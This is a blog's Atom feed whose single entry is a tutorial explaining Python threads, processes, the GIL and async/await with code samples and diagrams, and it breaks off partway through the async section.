<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://gitlostmurali.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://gitlostmurali.com/" rel="alternate" type="text/html" /><updated>2026-05-14T10:01:10+00:00</updated><id>https://gitlostmurali.com/feed.xml</id><title type="html">Musings of Murali</title><subtitle>An NLP/ML Blogging site</subtitle><author><name>Murali Manohar</name><email>kmanoharmurali@gmail.com</email></author><entry><title type="html">Understanding Async in Python</title><link href="https://gitlostmurali.com/understanding-async-python" rel="alternate" type="text/html" title="Understanding Async in Python" /><published>2026-01-25T05:00:00+00:00</published><updated>2026-01-25T05:00:00+00:00</updated><id>https://gitlostmurali.com/understanding-async-python</id><content type="html" xml:base="https://gitlostmurali.com/understanding-async-python"><![CDATA[<p>If you’ve worked with modern Reinforcement Learning (RL) frameworks, you’ve probably noticed something: everything is async. Ray’s <code class="language-plaintext highlighter-rouge">remote()</code> calls, distributed training loops, environment rollouts — they all use Python’s async primitives. But why? And more importantly, how does async actually work under the hood?</p>

<p>I recently found myself knee-deep in RL training code, staring at <code class="language-plaintext highlighter-rouge">async def</code>, <code class="language-plaintext highlighter-rouge">await</code>, and <code class="language-plaintext highlighter-rouge">asyncio.gather()</code> scattered throughout the codebase. I realized I’d been using these tools without truly understanding the model behind them. When do you use async vs threading vs multiprocessing? Why does the GIL matter for some workloads but not others? What’s actually happening when you <code class="language-plaintext highlighter-rouge">await</code> something?</p>

<p>This post is my attempt to build a solid mental model of Python’s concurrency landscape — from the fundamentals of threads and processes, through the constraints imposed by the GIL, to modern async/await patterns. By the end, you’ll understand not just <em>how</em> to write async code, but <em>why</em> RL training pipelines are architected the way they are.</p>

<hr />

<h2 id="table-of-contents">Table of Contents</h2>

<ol>
  <li><a href="#the-basics-what-are-threads-and-processes">The Basics: What Are Threads and Processes?</a></li>
  <li><a href="#the-two-types-of-waiting">The Two Types of Waiting</a></li>
  <li><a href="#enter-the-gil-pythons-infamous-lock">Enter the GIL: Python’s Infamous Lock</a></li>
  <li><a href="#asyncawait-concurrency-without-parallelism">Async/Await: Concurrency Without Parallelism</a></li>
  <li><a href="#why-896-cpu-is-historic">Why 896% CPU is Historic</a></li>
  <li><a href="#real-world-example-grpo-training-loop">Real-World Example: GRPO Training Loop</a></li>
</ol>

<hr />

<h2 id="the-basics-what-are-threads-and-processes">The Basics: What Are Threads and Processes?</h2>

<p>Let’s start by understanding the fundamental building blocks of concurrent execution.</p>

<h3 id="processes-separate-worlds">Processes: Separate Worlds</h3>

<p>A <strong>process</strong> is an independent program execution with its own memory space. When you open Chrome and Spotify simultaneously, those are separate processes. They can’t accidentally overwrite each other’s data because they live in completely isolated memory spaces.</p>

<div class="mermaid">
flowchart TB
    subgraph ProcessA["🔷 Process A"]
        MA["Memory<br />(isolated)"]
        CA["Code"]
    end
    subgraph ProcessB["🔷 Process B"]
        MB["Memory<br />(isolated)"]
        CB["Code"]
    end
    subgraph Kernel["🖥️ OS Kernel"]
        K[" "]
    end
    ProcessA --&gt; Kernel
    ProcessB --&gt; Kernel
</div>

<p><strong>Pros:</strong> Complete isolation, true parallelism, crash safety (one process dying doesn’t kill others)</p>

<p><strong>Cons:</strong> Heavy to create (~30MB+ overhead each), expensive communication between processes (serialization/deserialization), no shared memory by default</p>

<h3 id="threads-roommates-sharing-an-apartment">Threads: Roommates Sharing an Apartment</h3>

<p>A <strong>thread</strong> is a lightweight unit of execution that lives <em>within</em> a process. Multiple threads share the same memory space — like roommates sharing an apartment. They can all access the refrigerator (shared memory), which is efficient but dangerous if not coordinated.</p>

<div class="mermaid">
flowchart TB
    subgraph Process["🔷 Process"]
        SM["📦 Shared Memory"]
        T1["🧵 Thread 1"]
        T2["🧵 Thread 2"]
        T3["🧵 Thread 3"]
        SM --&gt; T1
        SM --&gt; T2
        SM --&gt; T3
    end
</div>

<p><strong>Pros:</strong> Lightweight (~8KB overhead), fast communication (shared memory), quick to spawn</p>

<p><strong>Cons:</strong> Race conditions, deadlocks, need for synchronization primitives (locks, semaphores)</p>

<h3 id="the-promise-of-multi-core-systems">The Promise of Multi-Core Systems</h3>

<p>Modern CPUs have multiple cores. My laptop has 10 cores. A typical cloud VM might have 64 or 128. The promise is simple: if you have 8 cores and 8 threads doing independent work, you should get ~8x speedup.</p>

<p><strong>Key insight:</strong> A single core can context-switch between multiple threads (time-slicing), but at any given instant, only <strong>one thread</strong> executes on a core. For true parallelism, you want threads running simultaneously on different cores:</p>

<div class="mermaid">
flowchart TB
    subgraph Core1["⚙️ Core 1"]
        T1["Thread 1<br />▶️ Work 1"]
    end
    subgraph Core2["⚙️ Core 2"]
        T2["Thread 2<br />▶️ Work 2"]
    end
    subgraph Core3["⚙️ Core 3"]
        T3["Thread 3<br />▶️ Work 3"]
    end
    subgraph Core4["⚙️ Core 4"]
        T4["Thread 4<br />▶️ Work 4"]
    end
    Core1 -.-&gt; Result["✅ All executing simultaneously<br />(parallel execution)<br />Total time ≈ Time for 1 task"]
    Core2 -.-&gt; Result
    Core3 -.-&gt; Result
    Core4 -.-&gt; Result
</div>

<p>In C, C++, Java, Go, Rust — this just works. Create threads, distribute work, enjoy parallelism.</p>

<p>In Python? Well…</p>

<hr />

<h2 id="the-two-types-of-waiting">The Two Types of Waiting</h2>

<p>Before we dive into the GIL, we need to understand a crucial distinction that determines which concurrency model you should use.</p>

<h3 id="io-bound-waiting-for-the-world">I/O-Bound: Waiting for the World</h3>

<p><strong>I/O-bound</strong> tasks spend most of their time waiting for external operations:</p>

<ul>
  <li>Waiting for a database query to return</li>
  <li>Waiting for an HTTP response from an API</li>
  <li>Waiting for a file to be read from disk</li>
  <li>Waiting for user input</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># I/O-bound example
</span><span class="k">def</span> <span class="nf">fetch_user_data</span><span class="p">(</span><span class="n">user_id</span><span class="p">):</span>
    <span class="n">response</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="sa">f</span><span class="s">"https://api.example.com/users/</span><span class="si">{</span><span class="n">user_id</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>  <span class="c1"># Waiting...
</span>    <span class="k">return</span> <span class="n">response</span><span class="p">.</span><span class="n">json</span><span class="p">()</span>

<span class="c1"># If each request takes 100ms, fetching 100 users sequentially = 10 seconds
# But the CPU is idle 99% of that time!
</span></code></pre></div></div>

<p>The CPU isn’t doing work here — it’s just waiting. This is like a chef waiting for water to boil. They could be chopping vegetables instead.</p>

<h3 id="cpu-bound-the-processor-is-sweating">CPU-Bound: The Processor is Sweating</h3>

<p><strong>CPU-bound</strong> tasks keep the processor busy with actual computation:</p>

<ul>
  <li>Training a neural network</li>
  <li>Computing cryptographic hashes</li>
  <li>Processing images</li>
  <li>Running simulations</li>
  <li>Parsing and transforming large datasets</li>
</ul>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># CPU-bound example
</span><span class="k">def</span> <span class="nf">compute_hash</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1000000</span><span class="p">):</span>
        <span class="n">data</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">data</span><span class="p">).</span><span class="n">digest</span><span class="p">()</span>  <span class="c1"># CPU is working hard
</span>    <span class="k">return</span> <span class="n">data</span>
</code></pre></div></div>

<p>Here, the CPU is maxed out. There’s no waiting — it’s pure computation.</p>

<h3 id="why-this-distinction-matters">Why This Distinction Matters</h3>

<p>The optimal concurrency strategy depends entirely on which type of work you’re doing:</p>

<table>
  <thead>
    <tr>
      <th>Task Type</th>
      <th>Bottleneck</th>
      <th>Solution</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>I/O-Bound</td>
      <td>Network, Disk, External Systems</td>
      <td>Concurrency (threads, async)</td>
    </tr>
    <tr>
      <td>CPU-Bound</td>
      <td>Processor Speed</td>
      <td>Parallelism (multiple cores)</td>
    </tr>
  </tbody>
</table>

<p>This brings us to Python’s infamous limitation.</p>

<hr />

<h2 id="enter-the-gil-pythons-infamous-lock">Enter the GIL: Python’s Infamous Lock</h2>

<!-- ### The Problem: Reference Counting Isn't Thread-Safe

Python was created in 1991. At that time, most computers had a single CPU core, and multi-threading was rare. The hard problem to solve was memory management.

Python uses **reference counting** for memory management. Every object has an internal counter tracking how many variables (references) point to it. When this counter hits zero, Python knows the object is no longer needed and frees its memory:

```python
a = [1, 2, 3]  # Create a list. Reference count = 1 (only 'a' points to it)
b = a          # 'b' now also points to the SAME list. Reference count = 2
del a          # Remove the 'a' reference. Reference count = 1 (only 'b' remains)
del b          # Remove the 'b' reference. Reference count = 0 → Object is freed!
```

Note: `b = a` doesn't copy the list — both `a` and `b` point to the *same* list object in memory. Python tracks this internally.

**The problem:** Without protection, two threads could modify the reference count simultaneously. Say an object has refcount = 2, and both threads try to add a reference at the same time:

```
Thread 1: reads refcount (2)     Thread 2: reads refcount (2)
Thread 1: computes 2 + 1 = 3     Thread 2: computes 2 + 1 = 3
Thread 1: writes 3               Thread 2: writes 3

Result: 3    Should be: 4    → Reference count is wrong! 💥
```

Now the object might get freed while something still references it — a crash waiting to happen.

### The Solution: The GIL

The **Global Interpreter Lock (GIL)** is a mutex (mutual exclusion lock) that protects access to Python objects. It ensures that **only one thread can execute Python code at any given time**, even on a multi-core machine. -->

<p>Python’s internals aren’t thread-safe i.e. multiple threads modifying the same data structures can corrupt memory. Rather than adding fine-grained locks everywhere (complex and slow), Python uses the <strong>Global Interpreter Lock (GIL)</strong>: a single mutex that ensures <strong>only one thread can execute Python code at any given time</strong>, even on a multi-core machine.</p>

<div class="mermaid">
flowchart TB
    subgraph PythonProcess["🐍 Python Process"]
        GIL["🔒 GIL<br />(Only ONE thread at a time)"]
        T1["🧵 Thread 1<br />🏃 I have the GIL,<br />I can run!"]
        T2["🧵 Thread 2<br />😴 Waiting..."]
        T3["🧵 Thread 3<br />😴 Waiting..."]
        GIL --&gt; T1
        GIL -.blocked.-&gt; T2
        GIL -.blocked.-&gt; T3
    end

    subgraph Hardware["💻 Hardware"]
        C1["⚙️ Core 1<br />BUSY"]
        C2["⚙️ Core 2<br />IDLE"]
        C3["⚙️ Core 3<br />IDLE"]
        C4["⚙️ Core 4<br />IDLE"]
    end

    T1 --&gt; C1
    Note["You have 4 cores, but Python only uses 1.<br />Max CPU usage: ~100%"]
</div>

<p>The GIL was a simple, elegant solution: just don’t let threads run simultaneously. Problem solved… until multi-core CPUs became the norm.</p>

<h3 id="the-gils-impact-on-cpu-bound-code">The GIL’s Impact on CPU-Bound Code</h3>

<p>Let’s see the damage:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">import</span> <span class="nn">time</span>

<span class="k">def</span> <span class="nf">cpu_intensive_task</span><span class="p">():</span>
    <span class="s">"""Count to 100 million — pure CPU work"""</span>
    <span class="n">count</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100_000_000</span><span class="p">):</span>
        <span class="n">count</span> <span class="o">+=</span> <span class="mi">1</span>
    <span class="k">return</span> <span class="n">count</span>

<span class="c1"># Sequential execution
</span><span class="n">start</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>
<span class="n">cpu_intensive_task</span><span class="p">()</span>
<span class="n">cpu_intensive_task</span><span class="p">()</span>
<span class="n">sequential_time</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">start</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Sequential: </span><span class="si">{</span><span class="n">sequential_time</span><span class="si">:</span><span class="p">.</span><span class="mi">2</span><span class="n">f</span><span class="si">}</span><span class="s">s"</span><span class="p">)</span>

<span class="c1"># Threaded execution (with GIL)
</span><span class="n">start</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>
<span class="n">t1</span> <span class="o">=</span> <span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">cpu_intensive_task</span><span class="p">)</span>
<span class="n">t2</span> <span class="o">=</span> <span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">cpu_intensive_task</span><span class="p">)</span>
<span class="n">t1</span><span class="p">.</span><span class="n">start</span><span class="p">();</span> <span class="n">t2</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
<span class="n">t1</span><span class="p">.</span><span class="n">join</span><span class="p">();</span> <span class="n">t2</span><span class="p">.</span><span class="n">join</span><span class="p">()</span>
<span class="n">threaded_time</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">start</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Threaded: </span><span class="si">{</span><span class="n">threaded_time</span><span class="si">:</span><span class="p">.</span><span class="mi">2</span><span class="n">f</span><span class="si">}</span><span class="s">s"</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>Results (with GIL):</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Sequential: 6.2s
Threaded: 6.4s  ← Actually SLOWER due to GIL lock contention!
</code></pre></div></div>

<p>The threads aren’t running in parallel — they’re taking turns, plus paying the overhead of lock acquisition/release. More threads can actually make it <strong>slower</strong>.</p>

<h3 id="but-wait--threads-do-help-sometimes">But Wait — Threads Do Help Sometimes!</h3>

<p>The GIL is released during I/O operations. When a thread is waiting for network/disk, it releases the GIL, allowing other threads to run:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">threading</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">time</span>

<span class="k">def</span> <span class="nf">simulated_io_task</span><span class="p">(</span><span class="n">task_id</span><span class="p">):</span>
    <span class="s">"""Simulate I/O-bound task — sleep releases the GIL"""</span>
    <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>  <span class="c1"># Simulates waiting for disk/network/database
</span>    <span class="k">return</span> <span class="n">task_id</span>

<span class="n">num_tasks</span> <span class="o">=</span> <span class="mi">5</span>

<span class="c1"># Sequential
</span><span class="n">start</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_tasks</span><span class="p">):</span>
    <span class="n">simulated_io_task</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Sequential I/O: </span><span class="si">{</span><span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">start</span><span class="si">:</span><span class="p">.</span><span class="mi">2</span><span class="n">f</span><span class="si">}</span><span class="s">s"</span><span class="p">)</span>

<span class="c1"># Threaded
</span><span class="n">start</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>
<span class="n">threads</span> <span class="o">=</span> <span class="p">[</span><span class="n">threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">(</span><span class="n">target</span><span class="o">=</span><span class="n">simulated_io_task</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="p">(</span><span class="n">i</span><span class="p">,))</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">num_tasks</span><span class="p">)]</span>
<span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">threads</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">start</span><span class="p">()</span>
<span class="k">for</span> <span class="n">t</span> <span class="ow">in</span> <span class="n">threads</span><span class="p">:</span> <span class="n">t</span><span class="p">.</span><span class="n">join</span><span class="p">()</span>
<span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Threaded I/O: </span><span class="si">{</span><span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span> <span class="o">-</span> <span class="n">start</span><span class="si">:</span><span class="p">.</span><span class="mi">2</span><span class="n">f</span><span class="si">}</span><span class="s">s"</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>Results:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Sequential: 5.2s
Threaded: 1.01s  -&gt; ~5x speedup!
</code></pre></div></div>

<p>This works because while Thread 1 is waiting for HTTP response, Thread 2 can grab the GIL and start its request.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>I/O-Bound Threading Timeline (GIL released during waits)
═══════════════════════════════════════════════════════════════════════════════
                    0ms      20ms      40ms      60ms      80ms     100ms
                     │         │         │         │         │         │
Thread 1  ▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
          send                    waiting for response...              done

Thread 2     ▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
             send                 waiting for response...              done

Thread 3        ▓▓▓░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░▓▓
                send              waiting for response...              done
                     │         │         │         │         │         │
═══════════════════════════════════════════════════════════════════════════════
▓▓▓ = CPU work (has GIL)    ░░░ = Waiting for I/O (GIL released)

💡 All 3 requests sent within ~3ms, all responses arrive ~100ms later
   Total time ≈ 100ms — not 300ms! Threads overlap during I/O waits.
</code></pre></div></div>

<p><em>While waiting for I/O, threads release the GIL — other threads can start their requests</em></p>

<h3 id="why-not-just-use-more-threads">Why Not Just Use More Threads?</h3>

<p>So threads work great for I/O-bound tasks, but they have limits. Each OS thread comes with an overhead: a thread stack and OS-level scheduling/context-switching. For 10 concurrent HTTP requests, threads are fine. But what about 10,000 concurrent connections — streaming data from thousands of RL environments or handling parallel API calls to an LLM provider? A one-thread-per-connection approach can burn gigabytes of thread stack space and spend a lot of time switching between threads instead of doing useful work.</p>

<p>The deeper issue is <strong>how switching happens (preemptive vs cooperative scheduling)</strong>:</p>

<ul>
  <li>
    <p><strong>Threads (preemptive scheduling):</strong> The OS decides when to switch between threads. It can interrupt a thread at <em>any</em> point, save its entire state (registers, stack pointer, etc.), and switch to another. This context switch is expensive (~1-10μs) and unpredictable.</p>
  </li>
  <li>
    <p><strong>Async (cooperative scheduling):</strong> Your code decides when to yield control via <code class="language-plaintext highlighter-rouge">await</code>. No OS involvement, no saving full thread state — just a simple function call to resume a coroutine. Context switch cost: ~100ns (10-100x faster).</p>
  </li>
</ul>

<h2 id="asyncawait-concurrency-without-parallelism">Async/Await: Concurrency Without Parallelism</h2>

<p>Python 3.5 introduced <strong>async/await</strong> as a lightweight alternative for high-concurrency I/O.</p>

<h3 id="the-event-loop-model">The Event Loop Model</h3>

<p>Async uses <strong>cooperative multitasking</strong> — sub-tasks (called coroutines) voluntarily <strong>yield control</strong> when waiting for I/O, allowing other coroutines to run.</p>

<p><strong>What are coroutines?</strong> They’re lightweight Python objects created when you call an <code class="language-plaintext highlighter-rouge">async def</code> function. Technically, they’re a special type of generator — objects that implement the iterator protocol with <code class="language-plaintext highlighter-rouge">__await__</code>, allowing them to be paused (at <code class="language-plaintext highlighter-rouge">await</code> points) and resumed. They don’t get their own threads; they’re just Python objects sitting in memory.</p>

<p><strong>Async runs entirely on a single thread.</strong> The <strong>event loop</strong> is the scheduler that multiplexes between coroutines — it keeps track of which ones are waiting for I/O and which are ready to run, switching between them whenever one yields:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">asyncio</span>
<span class="kn">import</span> <span class="nn">aiohttp</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">fetch_url</span><span class="p">(</span><span class="n">session</span><span class="p">,</span> <span class="n">url</span><span class="p">):</span>
    <span class="k">async</span> <span class="k">with</span> <span class="n">session</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="n">url</span><span class="p">)</span> <span class="k">as</span> <span class="n">response</span><span class="p">:</span>
        <span class="k">return</span> <span class="k">await</span> <span class="n">response</span><span class="p">.</span><span class="n">text</span><span class="p">()</span>  <span class="c1"># Yield control while waiting
</span>
<span class="k">async</span> <span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="k">async</span> <span class="k">with</span> <span class="n">aiohttp</span><span class="p">.</span><span class="n">ClientSession</span><span class="p">()</span> <span class="k">as</span> <span class="n">session</span><span class="p">:</span>
        <span class="c1"># These run concurrently in a SINGLE thread
</span>        <span class="n">tasks</span> <span class="o">=</span> <span class="p">[</span><span class="n">fetch_url</span><span class="p">(</span><span class="n">session</span><span class="p">,</span> <span class="sa">f</span><span class="s">"https://example.com/</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">"</span><span class="p">)</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">)]</span>
        <span class="n">results</span> <span class="o">=</span> <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">gather</span><span class="p">(</span><span class="o">*</span><span class="n">tasks</span><span class="p">)</span>
    <span class="k">return</span> <span class="n">results</span>

<span class="n">asyncio</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">main</span><span class="p">())</span>
</code></pre></div></div>

<h3 id="what-does-await-actually-do">What Does <code class="language-plaintext highlighter-rouge">await</code> Actually Do?</h3>

<p>The <code class="language-plaintext highlighter-rouge">await</code> keyword is the magic that makes async work. It does two things:</p>

<ol>
  <li><strong>Pauses the current coroutine</strong> — “I’m waiting for this result, let others run”</li>
  <li><strong>Resumes when ready</strong> — “The result is here, continue from where I left off”</li>
</ol>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">async</span> <span class="k">def</span> <span class="nf">example</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"Starting request..."</span><span class="p">)</span>
    
    <span class="c1"># WITHOUT await - WRONG! This just creates a coroutine object, doesn't run it
</span>    <span class="n">response</span> <span class="o">=</span> <span class="n">fetch_data</span><span class="p">()</span>  <span class="c1"># Returns &lt;coroutine object&gt;, not actual data!
</span>    
    <span class="c1"># WITH await - CORRECT! This actually runs the coroutine and waits for result
</span>    <span class="n">response</span> <span class="o">=</span> <span class="k">await</span> <span class="n">fetch_data</span><span class="p">()</span>  <span class="c1"># Pauses here, lets other tasks run, 
</span>                                   <span class="c1"># resumes when data arrives
</span>    
    <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"Got response: </span><span class="si">{</span><span class="n">response</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>Key insight:</strong> <code class="language-plaintext highlighter-rouge">await</code> is where your coroutine <em>yields control</em> back to the event loop. Without <code class="language-plaintext highlighter-rouge">await</code> points, your async function would block everything else — defeating the purpose of async entirely.</p>

<h3 id="how-the-event-loop-works">How the Event Loop Works</h3>

<p>The event loop maintains a queue of coroutines and runs them one at a time:</p>

<div class="mermaid">
flowchart TB
    subgraph SingleThread["🧵 Single Thread"]
        subgraph EventLoop["⚡ Event Loop"]
            Queue["📋 Task Queue<br />[Task A] [Task B] [Task C] [Task D] [Task E]"]
            Queue --&gt; Step1["Task A: runs until 'await' → pauses, yields control to event loop"]
            Step1 --&gt; Step2["Task B: runs until 'await' → pauses, yields control"]
            Step2 --&gt; Step3["Task A: I/O complete! resumes from where it paused"]
            Step3 --&gt; Step4["Task C: runs until 'await' → pauses, yields control"]
            Step4 --&gt; Continue["..."]
        end
    end
</div>

<p><strong>“Yielding control”</strong> means the coroutine voluntarily pauses and tells the event loop: “I’m waiting for something — go run 
other tasks, and come back to me when my I/O is done.”</p>

<p>When coroutine A hits <code class="language-plaintext highlighter-rouge">await</code>, it pauses (state saved in the coroutine object), and the event loop picks the next ready coroutine from the queue. When A’s I/O completes, it goes back in the queue to be resumed later.</p>

<p><strong>No parallelism, just efficient scheduling.</strong> While Task A waits for I/O, the event loop runs Task B. No thread switching overhead, no locks needed.</p>

<h3 id="visualizing-async-execution">Visualizing Async Execution</h3>

<p>Let’s trace through a simple example — making two API calls concurrently:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">asyncio</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">fetch_user</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"1. Fetching user..."</span><span class="p">)</span>
    <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>  <span class="c1"># Simulate 2-second API call
</span>    <span class="k">print</span><span class="p">(</span><span class="s">"4. Got user!"</span><span class="p">)</span>
    <span class="k">return</span> <span class="p">{</span><span class="s">"name"</span><span class="p">:</span> <span class="s">"Alice"</span><span class="p">}</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">fetch_posts</span><span class="p">():</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"2. Fetching posts..."</span><span class="p">)</span>
    <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>  <span class="c1"># Simulate 1-second API call
</span>    <span class="k">print</span><span class="p">(</span><span class="s">"3. Got posts!"</span><span class="p">)</span>
    <span class="k">return</span> <span class="p">[{</span><span class="s">"title"</span><span class="p">:</span> <span class="s">"Hello"</span><span class="p">}]</span>

<span class="k">async</span> <span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">user</span><span class="p">,</span> <span class="n">posts</span> <span class="o">=</span> <span class="k">await</span> <span class="n">asyncio</span><span class="p">.</span><span class="n">gather</span><span class="p">(</span><span class="n">fetch_user</span><span class="p">(),</span> <span class="n">fetch_posts</span><span class="p">())</span>
    <span class="k">print</span><span class="p">(</span><span class="s">"5. Done!"</span><span class="p">)</span>

<span class="n">asyncio</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">main</span><span class="p">())</span>
</code></pre></div></div>

<p>The numbers show execution order. Here’s what happens step by step — remember, <strong>everything runs on a single thread</strong>, so only one thing executes at a time:</p>

<div class="mermaid">
flowchart TD
    subgraph T0["⏱️ t=0ms"]
        A1["🔵 <b>fetch_user()</b><br />print 'Fetching user...'"]:::user
        A2["🔵 await sleep(2) — YIELDS"]:::userpause
        A3["🟠 <b>fetch_posts()</b><br />print 'Fetching posts...'"]:::posts
        A4["🟠 await sleep(1) — YIELDS"]:::postspause
        A5["⚪ Event loop idle<br />both waiting..."]:::idle
        A1 --&gt; A2 --&gt; A3 --&gt; A4 --&gt; A5
    end

    subgraph T1["⏱️ t=1000ms — posts timer fires"]
        B1["🟠 <b>fetch_posts() WAKES</b><br />print 'Got posts!'<br />✅ done"]:::posts
        B2["⚪ Event loop idle<br />user has 1s left..."]:::idle
        B1 --&gt; B2
    end

    subgraph T2["⏱️ t=2000ms — user timer fires"]
        C1["🔵 <b>fetch_user() WAKES</b><br />print 'Got user!'<br />✅ done"]:::user
        C2["✅ Both done!<br />print 'Done!'"]:::done
        C1 --&gt; C2
    end

    T0 --&gt; T1 --&gt; T2

    classDef user fill:#3b82f6,stroke:#1e40af,color:#fff
    classDef userpause fill:#93c5fd,stroke:#1e40af,color:#1e3a5f
    classDef posts fill:#f97316,stroke:#c2410c,color:#fff
    classDef postspause fill:#fdba74,stroke:#c2410c,color:#7c2d12
    classDef idle fill:#e5e7eb,stroke:#6b7280,color:#374151
    classDef done fill:#22c55e,stroke:#15803d,color:#fff
</div>

<p><strong>Output:</strong></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>1. Fetching user...    ← runs immediately (no await yet)
2. Fetching posts...   ← runs immediately after user yields
3. Got posts!          ← posts timer fires first (1s)
4. Got user!           ← user timer fires second (2s)
5. Done!
</code></pre></div></div>

<p><strong>Key points:</strong></p>
<ul>
  <li>At t=0, both <code class="language-plaintext highlighter-rouge">print()</code> statements run <strong>synchronously</strong> — no await has happened yet, so no yielding</li>
  <li><code class="language-plaintext highlighter-rouge">fetch_user()</code> runs first because it’s the first argument to <code class="language-plaintext highlighter-rouge">gather()</code></li>
  <li>Only when each task hits <code class="language-plaintext highlighter-rouge">await</code> does it pause and let the next task run</li>
  <li>Total time = 2 seconds (the slower one), not 3 seconds (1 + 2 if sequential)</li>
  <li>The event loop is <strong>single-threaded</strong> — it runs one thing at a time, but switches between tasks at <code class="language-plaintext highlighter-rouge">await</code> points</li>
</ul>

<h3 id="no-await--no-concurrency">No <code class="language-plaintext highlighter-rouge">await</code> = No Concurrency</h3>

<p>If there’s no <code class="language-plaintext highlighter-rouge">await</code>, async functions run <strong>purely sequentially</strong> — the <code class="language-plaintext highlighter-rouge">async</code> keyword alone does nothing for concurrency:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">asyncio</span>
